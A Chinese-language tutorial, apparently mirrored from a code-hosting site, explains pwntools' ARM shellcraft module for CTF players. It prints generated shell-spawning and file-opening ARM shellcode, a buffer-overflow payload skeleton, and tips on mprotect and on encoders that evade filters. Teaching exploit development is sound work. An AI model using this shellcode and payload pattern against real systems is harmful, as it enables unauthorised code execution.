pwntools Shellcraft ARM 指南:面向 ARM 架构的 Shellcode 生成库详解
【免费下载链接】pwntoolsCTF framework and exploit development library项目地址: https://gitcode.com/gh_mirrors/pw/pwntools
本文面向 CTF 选手与漏洞利用开发者,系统讲解 pwntools 中
pwnlib.shellcraft.arm模块。该模块用于生成 ARM 架构下的精简 shellcode,并内置pwnlib.shellcraft.arm.linux子模块,专门面向 Linux 系统调用封装。读完本文,你将掌握 ARM shellcode 的模块结构、加载机制、核心原语(如mov、push、pushstr、setregs)、Linux 系统调用封装,以及如何组合这些原语快速写出execve("/bin/sh")等实战利用代码。
一、模块总览:Shellcraft 的 ARM 分支
在 pwntools 中,shellcraft 是专门用于生成汇编指令序列(shellcode)的模块。它按“架构/操作系统”两级目录组织,每个功能点对应一个 Mako 模板(.asm文件)。pwnlib.shellcraft.arm负责生成 ARM 小端(little endian)通用 shellcode,其模板位于 pwnlib/shellcraft/templates/arm;pwnlib.shellcraft.arm.linux则专门提供针对 Linux 的 ARM shellcode,模板位于 pwnlib/shellcraft/templates/arm/linux。
从源码结构看,pwnlib.shellcraft.arm主要包含:
- 架构通用原语:
mov、push、pushstr、pushstr_array、setregs、ret、nop、trap、crash、infloop、xor、memcpy、itoa、to_thumb、udiv_10等,这些模板直接位于templates/arm/根目录; - Linux 系统调用封装:
execve、open、read、write、socket、connect、dup2、exit、mmap、mprotect等数百个系统调用模板,位于templates/arm/linux/syscalls/; - Linux 高级组合 shellcode:
sh、cat、cat2、echo、connect、dupio、dupsh、forkexit、forkbomb、killparent、setresuid、egghunter、cacheflush、open_file、dir等,位于templates/arm/linux/; - Android 系统调用封装:位于
templates/arm/android/,覆盖syscalls/及cat、cat2、connect、dupio、dupsh、echo、kill、killparent、open、readn、setresuid、sh、sleep、socket、stage等; - FreeBSD 分支:目前仅提供
syscall.asm一个模板(templates/arm/freebsd/)。
模块的官方文档字符串(docstring)也印证了这一分工:templates/arm/__doc__声明“Shellcraft module containing generic ARM little endian shellcodes”,templates/arm/linux/__doc__声明“Shellcraft module containing ARM shellcodes for Linux”。
1.1 体系结构上下文
需要说明的是,pwnlib.shellcraft.arm在 pwntools 的 shellcraft 体系结构中承担“架构模板”的角色,它与其他架构模板(i386、amd64、mips 等)平行存在。整个 shellcraft 目录树中还有templates/common/目录,存放各架构共享的通用模板,参见 templates/common 与 docs/source/shellcraft/common.rst。本模块的模板可以通过pwnlib.shellcraft顶层包统一调度,其文档化入口即 docs/source/shellcraft/arm.rst。
二、动态加载机制:模板如何变成 Python 函数
pwnlib.shellcraft.arm并不是一个普通的静态 Python 模块,而是一个动态加载的模块对象。其核心实现在 pwnlib/shellcraft/init.py:
- 模块类
module在初始化时记录模板目录(self._dir),并在首次访问属性时触发__lazyinit__,扫描templates/arm/下所有.asm文件,将文件名映射为 shellcode 名称; - 通过
__getattr__惰性加载:当你访问shellcraft.arm.mov时,内部调用internal.make_function把对应的.asmMako 模板编译为可调用函数,参见 pwnlib/shellcraft/internal.py; - 每个函数都被包装出两个附加接口:
function(生成带缩进注释的汇编文本)与call(用于嵌入其他模板内部调用)。模板目录路径到上下文的映射由get_context_from_dirpath完成:例如arm目录得到{'arch': 'arm'},arm/linux目录得到{'arch': 'arm', 'os': 'linux'}。
也就是说,arm.rst 文档中的automodule指令所展示的函数成员,实际上全部来自templates/arm/与templates/arm/linux/下的模板文件,文档与模板一一对应。
三、架构通用原语(shellcraft.arm顶层)
顶层原语是所有组合型 shellcode 的“积木”。以下按用途介绍核心模板,并给出源码层面的行为说明。
3.1mov(dst, src):智能常数装载
mov模板位于 templates/arm/mov.asm,用于把寄存器或立即数移入目标寄存器。它的最大特点是“智能编码”:会根据立即数的形态选择最短的 ARM 指令序列,并自动避开空字节(\x00)与换行符(\n)。
从源码看,其决策逻辑为:
src等于dst时只输出注释,不生成任何指令;src是字符串(非常量符号)时,会通过pwnlib.constants.eval求值(此时以context.os为准);src == 0时使用eor dst, dst(自异或清零,而非mov dst, #0,以规避空字节);- 如果常数满足 ARM 的“8 位立即数 + 循环移位”编码条件(
get_imm8_shift_ok检查),则直接使用mov dst, #imm8_shift; - 若常数 16 位以内可表示,则使用
movw; - 否则组合使用
movw/movt装载高低 16 位;负值或高位全 1 的常数则使用mvn(按位取反装载)以压缩编码长度。
文档示例(来自模板 docstring)展示了典型输出:
>>> print(shellcraft.arm.mov('r0','r1').rstrip()) mov r0, r1 >>> print(shellcraft.arm.mov('r0', 5).rstrip()) mov r0, #5 >>> print(shellcraft.arm.mov('r0', 0x34532).rstrip()) movw r0, #0x34532 & 0xffff movt r0, #0x34532 >> 16 >>> print(shellcraft.arm.mov('r0', 0xf00d0000).rstrip()) eor r0, r0 movt r0, #0xf00d0000 >> 16参数说明:
dst (str):目标寄存器名,必须是 ARM 寄存器(否则报错);src (str|int):源寄存器名或立即数;若为字符串常量(如SYS_xxx或算术表达式),会在arch='arm'上下文中求值。
3.2push与pushstr:字符串入栈
pushstr模板位于 templates/arm/pushstr.asm,用于把字符串压入栈中,供后续mov r0, sp之类的操作使用(例如execve的路径参数)。
源码行为要点:
- 默认在字符串末尾追加一个
\x00(append_null=True); - 以 4 字节为对齐单位,不足部分用
A(0x41)填充——这样既能对齐 ARM 的push {rN}(32 位寄存器压栈),又避免引入额外的空字节; - 将字符串按 32 位小端拆成若干 word,逆序压栈,每个 word 内部用
movw/movt+push完成。
文档示例(Hello!为 6 字节,补\x00后为 7 字节,再补一个A对齐到 8 字节,恰好两个 word):
>>> print(shellcraft.arm.pushstr("Hello!").rstrip()) /* push b'Hello!\x00A' */ movw r7, #0x4100216f & 0xffff movt r7, #0x4100216f >> 16 push {r7} movw r7, #0x6c6c6548 & 0xffff movt r7, #0x6c6c6548 >> 16 push {r7}参数说明:
string (str):要压栈的字符串;append_null (bool):是否先追加一个 NULL 字节(默认True);register (str):压栈时使用的临时寄存器,默认r7。
顶层还提供了pushstr_array(将字符串数组按顺序压栈,通常与execve(argv)搭配)、setregs(批量设置多个寄存器的值,内部逐个调用mov)、ret、nop、trap(触发swi/断点,供调试)、crash、infloop、xor、memcpy、itoa、to_thumb(ARM 切换到 Thumb 模式)等原语,均可在 templates/arm 目录下找到对应.asm文件。
四、Linux 系统调用封装(shellcraft.arm.linux)
4.1syscall:系统调用的统一入口
所有 Linux 系统调用 shellcode 的最底层依赖是syscall模板,位于 templates/arm/linux/syscall.asm。它接受最多 6 个参数(ARM 的 r0–r6 传参约定),并通过 ABI 定义linux_arm_syscall(见 pwnlib/abi.py)将参数映射到r0–r3,把系统调用号放入r7,最后执行svc 0触发内核调用。
关键行为:
- 参数可以是表达式,交由
pwnlib.constants.eval求值;也支持以SYS_xxx形式直接传入符号名(自动转为对应调用号); - 内部通过
setregs批量装载寄存器,未指定的参数会被置零(例如eor r3, r3); - 生成的汇编会带注释,标注调用原型,便于阅读与调试。
模板 docstring 中的示例:
>>> print(shellcraft.arm.linux.syscall(11, 1, 'sp', 2, 0).rstrip()) /* call syscall(0xb, 1, 'sp', 2, 0) */ mov r0, #1 mov r1, sp mov r2, #2 eor r3, r3 /* 0 (#0) */ mov r7, #0xb svc 0 >>> print(shellcraft.arm.linux.syscall('SYS_exit', 0).rstrip()) /* call exit(0) */ eor r0, r0 /* 0 (#0) */ mov r7, #SYS_exit /* 1 */ svc 0其中SYS_exit对应调用号 1,由常量表解析后写入注释。
4.2 单个系统调用模板:以open为例
除syscall外,templates/arm/linux/syscalls/下为每个系统调用生成了独立模板,命名与 Linux 系统调用名一致(open、read、write、execve、mmap、mprotect、socket、connect、dup2、setresuid等),覆盖数百个调用。这些模板会内联完成字符串压栈、寄存器装载等繁琐工作。
例如使用open('/home/pwn/flag')打开文件时(注意:该函数经由 shellcraft 顶层的上下文调度自动落在arm.linux分支),模板 docstring 给出了完整输出:先pushstr压入路径字符串(以\x00结尾并补A对齐),再把sp赋给r0,清零r1(oflag)与r2(mode),最后装载SYS_open(ARM 上为 5)并执行svc 0。
/* open(file='/home/pwn/flag', oflag=0, mode=0) */ /* push b'/home/pwn/flag\x00A' */ movw r7, #0x41006761 & 0xffff movt r7, #0x41006761 >> 16 push {r7} movw r7, #0x6c662f6e & 0xffff movt r7, #0x6c662f6e >> 16 push {r7} movw r7, #0x77702f65 & 0xffff movt r7, #0x77702f65 >> 16 push {r7} movw r7, #0x6d6f682f & 0xffff movt r7, #0x6d6f682f >> 16 push {r7} mov r0, sp eor r1, r1 /* 0 (#0) */ eor r2, r2 /* 0 (#0) */ /* call open() */ mov r7, #SYS_open /* 5 */ svc 0可以看到,组合原语(pushstr、mov、syscall)在这里被自动复用,这正是 shellcraft 模板体系的设计意图。
4.3 组合型 shellcode:sh、cat、dupsh等
templates/arm/linux/下的高级模板由上述原语组合而成。以最常用的sh为例,模板位于 templates/arm/linux/sh.asm,其实现极为简洁——直接委托给execve:
<% from pwnlib.shellcraft import arm %> <%docstring> Execute a different process. >>> p = run_assembly(shellcraft.arm.linux.sh()) >>> p.sendline(b'echo Hello') >>> p.recv() b'Hello\n' </%docstring> ${arm.linux.execve('/bin///sh', ['sh'], 0)}可见sh()的本质是execve('/bin///sh', ['sh'], 0):路径使用/bin///sh这种多斜杠写法来避开空字节/换行约束,argv只含sh,envp为 0。模板 docstring 还提供了可直接运行的 doctest:用run_assembly执行生成的 shellcode,向进程发送echo Hello即可收到Hello\n,验证 shellcode 的真实可运行性。
templates/arm/linux/下还包含:
cat/cat2:读取并输出文件内容;connect:建立 TCP 反向连接;dupio/dupsh:将标准输入输出重定向到已打开的 socket(反弹 shell 常用组合);forkexit/forkbomb:进程复制相关;killparent:杀掉父进程后继续执行;setresuid:切换用户 ID;egghunter:在内存中搜索 egg 标记;cacheflush:刷新指令缓存(用于自修改代码场景);echo:输出指定内容。
五、实战示例:生成并运行 ARM shellcode
结合context与asm模块即可完成“生成 + 汇编 + 运行”的完整流程。下面给出可直接在 pwntools 环境中执行的 Python 示例(ARM Linux 环境)。
5.1 生成execve("/bin/sh")并查看汇编
from pwn import * context.clear(arch='arm', os='linux') print(shellcraft.arm.linux.sh())输出为一段完整的 ARM 汇编:先用pushstr把/bin///sh\0压栈并让r0指向sp,再构造argv(['sh', 0]数组)放入r1,r2置 0,装载SYS_execve(ARM 上为 11)后执行svc 0。
5.2 汇编为字节码并运行
from pwn import * context.clear(arch='arm', os='linux') code = asm(shellcraft.arm.linux.sh()) print(code.hex()) p = run_assembly(shellcraft.arm.linux.sh()) p.sendline(b'echo Hello') print(p.recv()) # b'Hello\n'其中asm()使用仓库自带的汇编器封装(pwnlib/asm.py)把模板文本编译为机器码,run_assembly则在本地执行。模板中的 doctest 正是以这种方式自证其正确性。
5.3 手动构造系统调用
如果希望完全掌控每条指令,也可以直接使用syscall原语:
from pwn import * context.clear(arch='arm', os='linux') # exit(0) print(asm(shellcraft.arm.linux.syscall('SYS_exit', 0)).hex())SYS_exit会被自动解析为调用号 1,r0被清零,r7装载 1,最后svc 0。
六、在 exploit 中内嵌 ARM shellcode
在真实漏洞利用场景中,shellcode 通常需要嵌入二进制。典型做法是用asm()生成字节串并拼接到 payload 中,例如:
from pwn import * context.clear(arch='arm', os='linux') e = ELF('./vuln_arm') payload = b'A' * 128 # padding payload += p32(e.symbols['system']) # 返回地址(示意) payload += asm(shellcraft.arm.linux.sh()) # 追加 shellcode若目标开启 NX,还需先用mprotect系统调用把 shellcode 所在页标记为可执行,再跳转过去;shellcraft.arm.linux.mprotect(addr, size, 7)可以直接生成对应指令序列。也可以使用 pwnlib/encoders 对生成的字节码做编码变换以规避过滤(如\x00/\n字符限制),模板生成阶段本身已尽量避开空字节与换行符。
七、补充:Android 与 Thumb 模式
除 Linux 外,ARM 分支还提供 Android 支持(templates/arm/android/),其系统调用模板与 Linux 大体平行,并额外提供sh、socket、stage、readn、open等组合模板,适用于 Android 平台的漏洞利用与研究场景。
templates/arm/to_thumb.asm提供了 ARM 模式切换到 Thumb 模式的原语;在需要 16 位 Thumb 指令压缩 shellcode 体积的场景(例如空间受限的栈溢出),可以配合 templates/thumb 使用。此外,docs/source/shellcraft/thumb.rst对 Thumb 分支有专门文档。
八、相关资源与延伸阅读
- 模块文档:docs/source/shellcraft/arm.rst、docs/source/shellcraft/common.rst
- 模板源码:pwnlib/shellcraft/templates/arm、pwnlib/shellcraft/templates/arm/linux、pwnlib/shellcraft/templates/arm/android
- 加载机制:pwnlib/shellcraft/init.py、pwnlib/shellcraft/internal.py
- ABI 约定:pwnlib/abi.py
- 汇编器封装:pwnlib/asm.py
- 其他架构分支:i386、amd64、mips、thumb 等模板目录及 docs/source/shellcraft 下对应文档
如需深入每个模板的具体参数,可直接阅读对应.asm文件中的<%docstring>段落——它们是arm.rst通过automodule自动收集并渲染的全部文档来源。
【免费下载链接】pwntoolsCTF framework and exploit development library项目地址: https://gitcode.com/gh_mirrors/pw/pwntools
创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考